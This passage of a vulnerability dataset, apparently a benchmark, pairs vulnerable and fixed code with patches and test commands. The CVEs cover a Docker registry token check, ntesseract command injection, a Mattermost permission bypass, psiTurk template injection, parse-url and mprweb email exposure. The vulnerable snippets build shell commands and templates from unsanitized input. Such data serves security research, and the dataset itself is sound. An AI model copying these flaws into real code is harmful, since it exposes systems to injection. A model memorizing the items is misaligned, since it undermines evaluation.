err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn getCertPubKey(chains), nil\n}"}], "vul_patch": "--- a/registry/auth/token/token.go\n+++ b/registry/auth/token/token.go\n@@ -1,15 +1,15 @@\n-func verifyJWK(header jose.Header, verifyOpts VerifyOptions) (signingKey crypto.PublicKey, err error) {\n+func verifyJWK(header jose.Header, verifyOpts VerifyOptions) (crypto.PublicKey, error) {\n \tjwk := header.JSONWebKey\n-\tsigningKey = jwk.Key\n \n \t// Check to see if the key includes a certificate chain.\n \tif len(jwk.Certificates) == 0 {\n \t\t// The JWK should be one of the trusted root keys.\n-\t\tif _, trusted := verifyOpts.TrustedKeys[jwk.KeyID]; !trusted {\n+\t\tkey, trusted := verifyOpts.TrustedKeys[jwk.KeyID]\n+\t\tif !trusted {\n \t\t\treturn nil, errors.New(\"untrusted JWK with no certificate chain\")\n \t\t}\n \t\t// The JWK is one of the trusted keys.\n-\t\treturn\n+\t\treturn key, nil\n \t}\n \n \topts := x509.VerifyOptions{\n@@ -31,7 +31,6 @@\n \tif err != nil {\n \t\treturn nil, err\n \t}\n-\tsigningKey = getCertPubKey(chains)\n \n-\treturn\n+\treturn getCertPubKey(chains), nil\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-24976:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/distribution\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^TestVerifyJWKWithTrustedKey$ github.com/distribution/distribution/v3/registry/auth/token\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-24976:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/distribution\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestTokenVerify|TestAccessController|TestLeeway|TestNewAccessControllerPemBlock)$' github.com/distribution/distribution/v3/registry/auth/token"}
{"cve_id": "CVE-2020-28446", "cve_description": "The package ntesseract before 0.2.9 are vulnerable to Command Injection via lib/tesseract.js.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/taoyuan/ntesseract", "patch_url": ["https://github.com/taoyuan/ntesseract/commit/fcbc36f381798b4362179c0cdf9961b437c7b619"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_221_1", "commit": "a3ffac9", "file_path": "lib/tesseract.js", "start_line": 38, "end_line": 62, "snippet": "  command: function (image, options) {\n    // assemble tesseract command\n    const command = [options.binary, image, options.output];\n\n    if (options.l !== null) {\n      command.push('-l ' + options.l);\n    }\n\n    if (options.psm !== null) {\n      command.push('--psm ' + options.psm);\n    }\n\n    if (options.config !== null) {\n      command.push(options.config);\n    }\n\n    const names = Object.keys(options);\n    names.forEach(function (name) {\n      if (name.indexOf('-') === 0) {\n        command.push(name + ' ' + options[name]);\n      }\n    });\n\n    return command.join(' ');\n  },"}], "fix_func": [{"id": "fix_js_221_1", "commit": "fcbc36f381798b4362179c0cdf9961b437c7b619", "file_path": "lib/tesseract.js", "start_line": 38, "end_line": 66, "snippet": "  command: function (image, options) {\n    if (image.startsWith('\"')) {\n      image = '\"' + image + '\"';\n    }\n\n    // assemble tesseract command\n    const command = [options.binary, image, options.output];\n\n    if (options.l !== null) {\n      command.push('-l ' + options.l);\n    }\n\n    if (options.psm !== null) {\n      command.push('--psm ' + options.psm);\n    }\n\n    if (options.config !== null) {\n      command.push(options.config);\n    }\n\n    const names = Object.keys(options);\n    names.forEach(function (name) {\n      if (name.indexOf('-') === 0) {\n        command.push(name + ' ' + options[name]);\n      }\n    });\n\n    return command.join(' ');\n  },"}], "vul_patch": "--- a/lib/tesseract.js\n+++ b/lib/tesseract.js\n@@ -1,4 +1,8 @@\n   command: function (image, options) {\n+    if (image.startsWith('\"')) {\n+      image = '\"' + image + '\"';\n+    }\n+\n     // assemble tesseract command\n     const command = [options.binary, image, options.output];\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-1332", "cve_description": "One of the API in Mattermost version 6.4.1 and earlier fails to properly protect the permissions, which allows the authenticated members with restricted custom admin role to bypass the restrictions and view the server logs and server config.json file contents.", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/mattermost/mattermost", "patch_url": ["https://github.com/mattermost/mattermost/commit/20c73013176ae9cce4c1f91cbfb7d3a43858056e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_100_1", "commit": "f6fef93", "file_path": "api4/system.go", "start_line": 75, "end_line": 126, "snippet": "func generateSupportPacket(c *Context, w http.ResponseWriter, r *http.Request) {\n\tconst FileMime = \"application/zip\"\n\tconst OutputDirectory = \"support_packet\"\n\n\tif *c.App.Config().ExperimentalSettings.RestrictSystemAdmin {\n\t\tc.Err = model.NewAppError(\"generateSupportPacket\", \"api.restricted_system_admin\", nil, \"\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\t// Checking to see if the user is a admin of any sort or not\n\t// If they are a admin, they should theoretically have access to one or more of the system console read permissions\n\tif !c.App.SessionHasPermissionToAny(*c.AppContext.Session(), model.SysconsoleReadPermissions) {\n\t\tc.SetPermissionError(model.SysconsoleReadPermissions...)\n\t\treturn\n\t}\n\n\t// Checking to see if the server has a e10 or e20 license (this feature is only permitted for servers with licenses)\n\tif c.App.Srv().License() == nil {\n\t\tc.Err = model.NewAppError(\"Api4.generateSupportPacket\", \"api.no_license\", nil, \"\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tfileDatas := c.App.GenerateSupportPacket()\n\n\t// Constructing the ZIP file name as per spec (mattermost_support_packet_YYYY-MM-DD-HH-MM.zip)\n\tnow := time.Now()\n\toutputZipFilename := fmt.Sprintf(\"mattermost_support_packet_%s.zip\", now.Format(\"2006-01-02-03-04\"))\n\n\tfileStorageBackend := c.App.FileBackend()\n\n\t// We do this incase we get concurrent requests, we will always have a unique directory.\n\t// This is to avoid the situation where we try to write to the same directory while we are trying to delete it (further down)\n\toutputDirectoryToUse := OutputDirectory + \"_\" + model.NewId()\n\terr := c.App.CreateZipFileAndAddFiles(fileStorageBackend, fileDatas, outputZipFilename, outputDirectoryToUse)\n\tif err != nil {\n\t\tc.Err = model.NewAppError(\"Api4.generateSupportPacket\", \"api.unable_to_create_zip_file\", nil, err.Error(), http.StatusForbidden)\n\t\treturn\n\t}\n\n\tfileBytes, err := fileStorageBackend.ReadFile(path.Join(outputDirectoryToUse, outputZipFilename))\n\tdefer fileStorageBackend.RemoveDirectory(outputDirectoryToUse)\n\tif err != nil {\n\t\tc.Err = model.NewAppError(\"Api4.generateSupportPacket\", \"api.unable_to_read_file_from_backend\", nil, err.Error(), http.StatusForbidden)\n\t\treturn\n\t}\n\tfileBytesReader := bytes.NewReader(fileBytes)\n\n\t// Send the zip file back to client\n\t// We are able to pass 0 for content size due to the fact that Golang's serveContent (https://golang.org/src/net/http/fs.go)\n\t// already sets that for us\n\twriteFileResponse(outputZipFilename, FileMime, 0, now, *c.App.Config().ServiceSettings.WebserverMode, fileBytesReader, true, w, r)\n}"}], "fix_func": [{"id": "fix_go_100_1", "commit": "20c73013176ae9cce4c1f91cbfb7d3a43858056e", "file_path": "api4/system.go", "start_line": 75, "end_line": 125, "snippet": "func generateSupportPacket(c *Context, w http.ResponseWriter, r *http.Request) {\n\tconst FileMime = \"application/zip\"\n\tconst OutputDirectory = \"support_packet\"\n\n\tif *c.App.Config().ExperimentalSettings.RestrictSystemAdmin {\n\t\tc.Err = model.NewAppError(\"generateSupportPacket\", \"api.restricted_system_admin\", nil, \"\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\t// Support packet generation is limited to system admins (MM-42271).\n\tif !c.App.SessionHasPermissionTo(*c.AppContext.Session(), model.PermissionManageSystem) {\n\t\tc.SetPermissionError(model.PermissionManageSystem)\n\t\treturn\n\t}\n\n\t// Checking to see if the server has a e10 or e20 license (this feature is only permitted for servers with licenses)\n\tif c.App.Srv().License() == nil {\n\t\tc.Err = model.NewAppError(\"Api4.generateSupportPacket\", \"api.no_license\", nil, \"\", http.StatusForbidden)\n\t\treturn\n\t}\n\n\tfileDatas := c.App.GenerateSupportPacket()\n\n\t// Constructing the ZIP file name as per spec (mattermost_support_packet_YYYY-MM-DD-HH-MM.zip)\n\tnow := time.Now()\n\toutputZipFilename := fmt.Sprintf(\"mattermost_support_packet_%s.zip\", now.Format(\"2006-01-02-03-04\"))\n\n\tfileStorageBackend := c.App.FileBackend()\n\n\t// We do this incase we get concurrent requests, we will always have a unique directory.\n\t// This is to avoid the situation where we try to write to the same directory while we are trying to delete it (further down)\n\toutputDirectoryToUse := OutputDirectory + \"_\" + model.NewId()\n\terr := c.App.CreateZipFileAndAddFiles(fileStorageBackend, fileDatas, outputZipFilename, outputDirectoryToUse)\n\tif err != nil {\n\t\tc.Err = model.NewAppError(\"Api4.generateSupportPacket\", \"api.unable_to_create_zip_file\", nil, err.Error(), http.StatusForbidden)\n\t\treturn\n\t}\n\n\tfileBytes, err := fileStorageBackend.ReadFile(path.Join(outputDirectoryToUse, outputZipFilename))\n\tdefer fileStorageBackend.RemoveDirectory(outputDirectoryToUse)\n\tif err != nil {\n\t\tc.Err = model.NewAppError(\"Api4.generateSupportPacket\", \"api.unable_to_read_file_from_backend\", nil, err.Error(), http.StatusForbidden)\n\t\treturn\n\t}\n\tfileBytesReader := bytes.NewReader(fileBytes)\n\n\t// Send the zip file back to client\n\t// We are able to pass 0 for content size due to the fact that Golang's serveContent (https://golang.org/src/net/http/fs.go)\n\t// already sets that for us\n\twriteFileResponse(outputZipFilename, FileMime, 0, now, *c.App.Config().ServiceSettings.WebserverMode, fileBytesReader, true, w, r)\n}"}], "vul_patch": "--- a/api4/system.go\n+++ b/api4/system.go\n@@ -7,10 +7,9 @@\n \t\treturn\n \t}\n \n-\t// Checking to see if the user is a admin of any sort or not\n-\t// If they are a admin, they should theoretically have access to one or more of the system console read permissions\n-\tif !c.App.SessionHasPermissionToAny(*c.AppContext.Session(), model.SysconsoleReadPermissions) {\n-\t\tc.SetPermissionError(model.SysconsoleReadPermissions...)\n+\t// Support packet generation is limited to system admins (MM-42271).\n+\tif !c.App.SessionHasPermissionTo(*c.AppContext.Session(), model.PermissionManageSystem) {\n+\t\tc.SetPermissionError(model.PermissionManageSystem)\n \t\treturn\n \t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-4315", "cve_description": "A vulnerability has been found in NYUCCL psiTurk up to 3.2.0 and classified as critical. This vulnerability affects unknown code of the file psiturk/experiment.py. The manipulation of the argument mode leads to improper neutralization of special elements used in a template engine. The exploit has been disclosed to the public and may be used. Upgrading to version 3.2.1 is able to address this issue. The name of the patch is 47787e15cecd66f2aa87687bf852ae0194a4335f. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-219676.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/NYUCCL/psiTurk", "patch_url": ["https://github.com/NYUCCL/psiTurk/commit/47787e15cecd66f2aa87687bf852ae0194a4335f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_34_1", "commit": "231d566", "file_path": "psiturk/experiment.py", "start_line": 287, "end_line": 391, "snippet": "def advertisement():\n    \"\"\"\n    This is the url we give for the ad for our 'external question'.  The ad has\n    to display two different things: This page will be called from within\n    mechanical turk, with url arguments hitId, assignmentId, and workerId.\n    If the worker has not yet accepted the hit:\n        These arguments will have null values, we should just show an ad for\n        the experiment.\n    If the worker has accepted the hit:\n        These arguments will have appropriate values and we should enter the\n        person in the database and provide a link to the experiment popup.\n    \"\"\"\n    user_agent_string = request.user_agent.string\n    user_agent_obj = user_agents.parse(user_agent_string)\n    browser_ok = True\n    browser_exclude_rule = CONFIG.get('Task Parameters', 'browser_exclude_rule')\n    for rule in browser_exclude_rule.split(','):\n        myrule = rule.strip()\n        if myrule in [\"mobile\", \"tablet\", \"touchcapable\", \"pc\", \"bot\"]:\n            if (myrule == \"mobile\" and user_agent_obj.is_mobile) or\\\n               (myrule == \"tablet\" and user_agent_obj.is_tablet) or\\\n               (myrule == \"touchcapable\" and user_agent_obj.is_touch_capable) or\\\n               (myrule == \"pc\" and user_agent_obj.is_pc) or\\\n               (myrule == \"bot\" and user_agent_obj.is_bot):\n                browser_ok = False\n        elif myrule == \"Safari\" or myrule == \"safari\":\n            if \"Chrome\" in user_agent_string and \"Safari\" in user_agent_string:\n                pass\n            elif \"Safari\" in user_agent_string:\n                browser_ok = False\n        elif myrule in user_agent_string:\n            browser_ok = False\n\n    if not browser_ok:\n        # Handler for IE users if IE is not supported.\n        raise ExperimentError('browser_type_not_allowed')\n\n    if not ('hitId' in request.args and 'assignmentId' in request.args):\n        raise ExperimentError('hit_assign_worker_id_not_set_in_mturk')\n    hit_id = request.args['hitId']\n    assignment_id = request.args['assignmentId']\n    mode = request.args['mode']\n    if hit_id[:5] == \"debug\":\n        debug_mode = True\n    else:\n        debug_mode = False\n    already_in_db = False\n    if 'workerId' in request.args:\n        worker_id = request.args['workerId']\n        # First check if this workerId has completed the task before (v1).\n        nrecords = Participant.query.\\\n            filter(Participant.assignmentid != assignment_id).\\\n            filter(Participant.workerid == worker_id).\\\n            count()\n\n        if nrecords > 0:  # Already completed task\n            already_in_db = True\n    else:  # If worker has not accepted the hit\n        worker_id = None\n    try:\n        part = Participant.query.\\\n            filter(Participant.hitid == hit_id).\\\n            filter(Participant.assignmentid == assignment_id).\\\n            filter(Participant.workerid == worker_id).\\\n            one()\n        status = part.status\n    except exc.SQLAlchemyError:\n        status = None\n\n    allow_repeats = CONFIG.getboolean('Task Parameters', 'allow_repeats')\n    if (status == STARTED or status == QUITEARLY) and not debug_mode:\n        # Once participants have finished the instructions, we do not allow\n        # them to start the task again.\n        raise ExperimentError('already_started_exp_mturk')\n    elif status == COMPLETED or (status == SUBMITTED and not already_in_db):\n        # 'or status == SUBMITTED' because we suspect that sometimes the post\n        # to mturk fails after we've set status to SUBMITTED, so really they\n        # have not successfully submitted. This gives another chance for the\n        # submit to work.\n\n        # They've finished the experiment but haven't successfully submitted the HIT\n        # yet.\n        return render_template(\n            'thanks-mturksubmit.html',\n            using_sandbox=(mode == \"sandbox\"),\n            hitid=hit_id,\n            assignmentid=assignment_id,\n            workerid=worker_id\n        )\n    elif already_in_db and not (debug_mode or allow_repeats):\n        raise ExperimentError('already_did_exp_hit')\n    elif status == ALLOCATED or not status or debug_mode:\n        # Participant has not yet agreed to the consent. They might not\n        # even have accepted the HIT.\n        with open('templates/ad.html', 'r') as temp_file:\n            ad_string = temp_file.read()\n        ad_string = insert_mode(ad_string, mode)\n        return render_template_string(\n            ad_string,\n            hitid=hit_id,\n            assignmentid=assignment_id,\n            workerid=worker_id\n        )\n    else:\n        raise ExperimentError('status_incorrectly_set')"}, {"id": "vul_py_34_2", "commit": "231d566", "file_path": "psiturk/experiment.py", "start_line": 396, "end_line": 415, "snippet": "def give_consent():\n    \"\"\"\n    Serves up the consent in the popup window.\n    \"\"\"\n    if not ('hitId' in request.args and 'assignmentId' in request.args and\n            'workerId' in request.args):\n        raise ExperimentError('hit_assign_worker_id_not_set_in_consent')\n    hit_id = request.args['hitId']\n    assignment_id = request.args['assignmentId']\n    worker_id = request.args['workerId']\n    mode = request.args['mode']\n    with open('templates/consent.html', 'r') as temp_file:\n        consent_string = temp_file.read()\n    consent_string = insert_mode(consent_string, mode)\n    return render_template_string(\n        consent_string,\n        hitid=hit_id,\n        assignmentid=assignment_id,\n        workerid=worker_id\n    )"}, {"id": "vul_py_34_3", "commit": "231d566", "file_path": "psiturk/experiment.py", "start_line": 734, "end_line": 747, "snippet": "def insert_mode(page_html, mode):\n    \"\"\" Insert mode \"\"\"\n    page_html = page_html\n    match_found = False\n    matches = re.finditer('workerId={{ workerid }}', page_html)\n    match = None\n    for match in matches:\n        match_found = True\n    if match_found:\n        new_html = page_html[:match.end()] + \"&mode=\" + mode +\\\n            page_html[match.end():]\n        return new_html\n    else:\n        raise ExperimentError(\"insert_mode_failed\")"}], "fix_func": [{"id": "fix_py_34_1", "commit": "47787e15cecd66f2aa87687bf852ae0194a4335f", "file_path": "psiturk/experiment.py", "start_line": 287, "end_line": 392, "snippet": "def advertisement():\n    \"\"\"\n    This is the url we give for the ad for our 'external question'.  The ad has\n    to display two different things: This page will be called from within\n    mechanical turk, with url arguments hitId, assignmentId, and workerId.\n    If the worker has not yet accepted the hit:\n        These arguments will have null values, we should just show an ad for\n        the experiment.\n    If the worker has accepted the hit:\n        These arguments will have appropriate values and we should enter the\n        person in the database and provide a link to the experiment popup.\n    \"\"\"\n    user_agent_string = request.user_agent.string\n    user_agent_obj = user_agents.parse(user_agent_string)\n    browser_ok = True\n    browser_exclude_rule = CONFIG.get('Task Parameters', 'browser_exclude_rule')\n    for rule in browser_exclude_rule.split(','):\n        myrule = rule.strip()\n        if myrule in [\"mobile\", \"tablet\", \"touchcapable\", \"pc\", \"bot\"]:\n            if (myrule == \"mobile\" and user_agent_obj.is_mobile) or\\\n               (myrule == \"tablet\" and user_agent_obj.is_tablet) or\\\n               (myrule == \"touchcapable\" and user_agent_obj.is_touch_capable) or\\\n               (myrule == \"pc\" and user_agent_obj.is_pc) or\\\n               (myrule == \"bot\" and user_agent_obj.is_bot):\n                browser_ok = False\n        elif myrule == \"Safari\" or myrule == \"safari\":\n            if \"Chrome\" in user_agent_string and \"Safari\" in user_agent_string:\n                pass\n            elif \"Safari\" in user_agent_string:\n                browser_ok = False\n        elif myrule in user_agent_string:\n            browser_ok = False\n\n    if not browser_ok:\n        # Handler for IE users if IE is not supported.\n        raise ExperimentError('browser_type_not_allowed')\n\n    if not ('hitId' in request.args and 'assignmentId' in request.args):\n        raise ExperimentError('hit_assign_worker_id_not_set_in_mturk')\n    hit_id = request.args['hitId']\n    assignment_id = request.args['assignmentId']\n    mode = request.args['mode']\n    if hit_id[:5] == \"debug\":\n        debug_mode = True\n    else:\n        debug_mode = False\n    already_in_db = False\n    if 'workerId' in request.args:\n        worker_id = request.args['workerId']\n        # First check if this workerId has completed the task before (v1).\n        nrecords = Participant.query.\\\n            filter(Participant.assignmentid != assignment_id).\\\n            filter(Participant.workerid == worker_id).\\\n            count()\n\n        if nrecords > 0:  # Already completed task\n            already_in_db = True\n    else:  # If worker has not accepted the hit\n        worker_id = None\n    try:\n        part = Participant.query.\\\n            filter(Participant.hitid == hit_id).\\\n            filter(Participant.assignmentid == assignment_id).\\\n            filter(Participant.workerid == worker_id).\\\n            one()\n        status = part.status\n    except exc.SQLAlchemyError:\n        status = None\n\n    allow_repeats = CONFIG.getboolean('Task Parameters', 'allow_repeats')\n    if (status == STARTED or status == QUITEARLY) and not debug_mode:\n        # Once participants have finished the instructions, we do not allow\n        # them to start the task again.\n        raise ExperimentError('already_started_exp_mturk')\n    elif status == COMPLETED or (status == SUBMITTED and not already_in_db):\n        # 'or status == SUBMITTED' because we suspect that sometimes the post\n        # to mturk fails after we've set status to SUBMITTED, so really they\n        # have not successfully submitted. This gives another chance for the\n        # submit to work.\n\n        # They've finished the experiment but haven't successfully submitted the HIT\n        # yet.\n        return render_template(\n            'thanks-mturksubmit.html',\n            using_sandbox=(mode == \"sandbox\"),\n            hitid=hit_id,\n            assignmentid=assignment_id,\n            workerid=worker_id\n        )\n    elif already_in_db and not (debug_mode or allow_repeats):\n        raise ExperimentError('already_did_exp_hit')\n    elif status == ALLOCATED or not status or debug_mode:\n        # Participant has not yet agreed to the consent. They might not\n        # even have accepted the HIT.\n        with open('templates/ad.html', 'r') as temp_file:\n            ad_string = temp_file.read()\n        ad_string = insert_mode(ad_string)\n        return render_template_string(\n            ad_string,\n            mode=mode,\n            hitid=hit_id,\n            assignmentid=assignment_id,\n            workerid=worker_id\n        )\n    else:\n        raise ExperimentError('status_incorrectly_set')"}, {"id": "fix_py_34_2", "commit": "47787e15cecd66f2aa87687bf852ae0194a4335f", "file_path": "psiturk/experiment.py", "start_line": 397, "end_line": 417, "snippet": "def give_consent():\n    \"\"\"\n    Serves up the consent in the popup window.\n    \"\"\"\n    if not ('hitId' in request.args and 'assignmentId' in request.args and\n            'workerId' in request.args):\n        raise ExperimentError('hit_assign_worker_id_not_set_in_consent')\n    hit_id = request.args['hitId']\n    assignment_id = request.args['assignmentId']\n    worker_id = request.args['workerId']\n    mode = request.args['mode']\n    with open('templates/consent.html', 'r') as temp_file:\n        consent_string = temp_file.read()\n    consent_string = insert_mode(consent_string)\n    return render_template_string(\n        consent_string,\n        mode=mode,\n        hitid=hit_id,\n        assignmentid=assignment_id,\n        workerid=worker_id\n    )"}, {"id": "fix_py_34_3", "commit": "47787e15cecd66f2aa87687bf852ae0194a4335f", "file_path": "psiturk/experiment.py", "start_line": 736, "end_line": 749, "snippet": "def insert_mode(page_html):\n    \"\"\" Insert mode \"\"\"\n    page_html = page_html\n    match_found = False\n    matches = re.finditer('workerId={{ workerid }}', page_html)\n    match = None\n    for match in matches:\n        match_found = True\n    if match_found:\n        new_html = page_html[:match.end()] + '&mode={{ mode }}' +\\\n            page_html[match.end():]\n        return new_html\n    else:\n        raise ExperimentError(\"insert_mode_failed\")"}], "vul_patch": "--- a/psiturk/experiment.py\n+++ b/psiturk/experiment.py\n@@ -94,9 +94,10 @@\n         # even have accepted the HIT.\n         with open('templates/ad.html', 'r') as temp_file:\n             ad_string = temp_file.read()\n-        ad_string = insert_mode(ad_string, mode)\n+        ad_string = insert_mode(ad_string)\n         return render_template_string(\n             ad_string,\n+            mode=mode,\n             hitid=hit_id,\n             assignmentid=assignment_id,\n             workerid=worker_id\n\n--- a/psiturk/experiment.py\n+++ b/psiturk/experiment.py\n@@ -1,3 +1,4 @@\n+def give_consent():\n     \"\"\"\n     Serves up the consent in the popup window.\n     \"\"\"\n@@ -10,9 +11,10 @@\n     mode = request.args['mode']\n     with open('templates/consent.html', 'r') as temp_file:\n         consent_string = temp_file.read()\n-    consent_string = insert_mode(consent_string, mode)\n+    consent_string = insert_mode(consent_string)\n     return render_template_string(\n         consent_string,\n+        mode=mode,\n         hitid=hit_id,\n         assignmentid=assignment_id,\n         workerid=worker_id\n\n--- a/psiturk/experiment.py\n+++ b/psiturk/experiment.py\n@@ -1,4 +1,4 @@\n-def insert_mode(page_html, mode):\n+def insert_mode(page_html):\n     \"\"\" Insert mode \"\"\"\n     page_html = page_html\n     match_found = False\n@@ -7,7 +7,7 @@\n     for match in matches:\n         match_found = True\n     if match_found:\n-        new_html = page_html[:match.end()] + \"&mode=\" + mode +\\\n+        new_html = page_html[:match.end()] + '&mode={{ mode }}' +\\\n             page_html[match.end():]\n         return new_html\n     else:\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-4315:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/psiTurk\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nPYTHONPATH=. /workspace/PoC_env/CVE-2021-4315/bin/python -m pytest tests/test_psiturk.py -k \"test_insert_mode\" --override-ini=\"addopts=\" -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-4315:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/psiTurk\ngit apply --whitespace=nowarn /workspace/fix.patch\nPYTHONPATH=. /workspace/PoC_env/CVE-2021-4315/bin/python -m pytest tests/test_psiturk.py -k \"not test_insert_mode\" --override-ini=\"addopts=\" -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2022-0722", "cve_description": "Exposure of Sensitive Information to an Unauthorized Actor in GitHub repository ionicabizau/parse-url prior to 7.0.0.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/ionicabizau/parse-url", "patch_url": ["https://github.com/ionicabizau/parse-url/commit/21c72ab9412228eea753e2abc48f8962707b1fe3"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_53_1", "commit": "fa488b2f26715995251c30825398e6aa96a0aadf", "file_path": "lib/index.js", "start_line": 35, "end_line": 49, "snippet": "function parseUrl(url, normalize = false) {\n    if (typeof url !== \"string\" || !url.trim()) {\n        throw new Error(\"Invalid url.\")\n    }\n    if (normalize) {\n        if (typeof normalize !== \"object\") {\n            normalize = {\n                stripHash: false\n            }\n        }\n        url = normalizeUrl(url, normalize)\n    }\n    const parsed = parsePath(url)\n    return parsed;\n}"}], "fix_func": [{"id": "fix_js_53_1", "commit": "21c72ab9412228eea753e2abc48f8962707b1fe3", "file_path": "lib/index.js", "start_line": 37, "end_line": 70, "snippet": "const parseUrl = (url, normalize = false) => {\n\n    // Constants\n    const GIT_RE = /((git@|http(s)?:\\/\\/)([\\w\\.@]+)(\\/|:))(([\\~,\\w,\\-,\\_,\\/]+)(.git){0,1}((\\/){0,1}))/\n\n    if (typeof url !== \"string\" || !url.trim()) {\n        throw new Error(\"Invalid url.\")\n    }\n\n    if (normalize) {\n        if (typeof normalize !== \"object\") {\n            normalize = {\n                stripHash: false\n            }\n        }\n        url = normalizeUrl(url, normalize)\n    }\n\n    const parsed = parsePath(url)\n\n    // Potential git-ssh urls\n    if (parsed.protocol === \"file\") {\n        const matched  = parsed.href.match(GIT_RE)\n        if (matched) {\n            parsed.protocols = [\"ssh\"]\n            parsed.protocol = \"ssh\"\n            parsed.resource = matched[4]\n            parsed.user = \"git\"\n            parsed.pathname = `/${matched[6]}`\n        }\n    }\n\n    return parsed;\n}"}], "vul_patch": "--- a/lib/index.js\n+++ b/lib/index.js\n@@ -1,7 +1,12 @@\n-function parseUrl(url, normalize = false) {\n+const parseUrl = (url, normalize = false) => {\n+\n+    // Constants\n+    const GIT_RE = /((git@|http(s)?:\\/\\/)([\\w\\.@]+)(\\/|:))(([\\~,\\w,\\-,\\_,\\/]+)(.git){0,1}((\\/){0,1}))/\n+\n     if (typeof url !== \"string\" || !url.trim()) {\n         throw new Error(\"Invalid url.\")\n     }\n+\n     if (normalize) {\n         if (typeof normalize !== \"object\") {\n             normalize = {\n@@ -10,6 +15,20 @@\n         }\n         url = normalizeUrl(url, normalize)\n     }\n+\n     const parsed = parsePath(url)\n+\n+    // Potential git-ssh urls\n+    if (parsed.protocol === \"file\") {\n+        const matched  = parsed.href.match(GIT_RE)\n+        if (matched) {\n+            parsed.protocols = [\"ssh\"]\n+            parsed.protocol = \"ssh\"\n+            parsed.resource = matched[4]\n+            parsed.user = \"git\"\n+            parsed.pathname = `/${matched[6]}`\n+        }\n+    }\n+\n     return parsed;\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0722:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/parse-url\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnode test\n", "unit_test_cmd": null}
{"cve_id": "CVE-2022-31185", "cve_description": "mprweb is a hosting platform for the makedeb Package Repository. Email addresses were found to not have been hidden, even if a user had clicked the `Hide Email Address` checkbox on their account page, or during signup. This could lead to an account's email being leaked, which may be problematic if your email needs to remain private for any reason. Users hosting their own mprweb instance will need to upgrade to the latest commit to get this fixed. Users on the official instance will already have this issue fixed.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/makedeb/mprweb", "patch_url": ["https://github.com/makedeb/mprweb/commit/d13e3f2f5a9c0b0f6782f35d837090732026ad77"], "programing_language": "Python", "vul_func": [{"id": "vul_py_213_1", "commit": "908b81a", "file_path": "aurweb/routers/accounts.py", "start_line": 269, "end_line": 357, "snippet": "async def account_register_post(\n    request: Request,\n    U: str = Form(default=str()),  # Username\n    E: str = Form(default=str()),  # Email\n    H: str = Form(default=False),  # Hide Email\n    BE: str = Form(default=None),  # Backup Email\n    R: str = Form(default=\"\"),  # Real Name\n    HP: str = Form(default=None),  # Homepage\n    I: str = Form(default=None),  # IRC Nick # noqa: E741\n    K: str = Form(default=None),  # PGP Key\n    L: str = Form(default=aurweb.config.get(\"options\", \"default_lang\")),\n    TZ: str = Form(default=aurweb.config.get(\"options\", \"default_timezone\")),\n    PK: str = Form(default=None),  # SSH PubKey\n    CN: bool = Form(default=False),\n    UN: 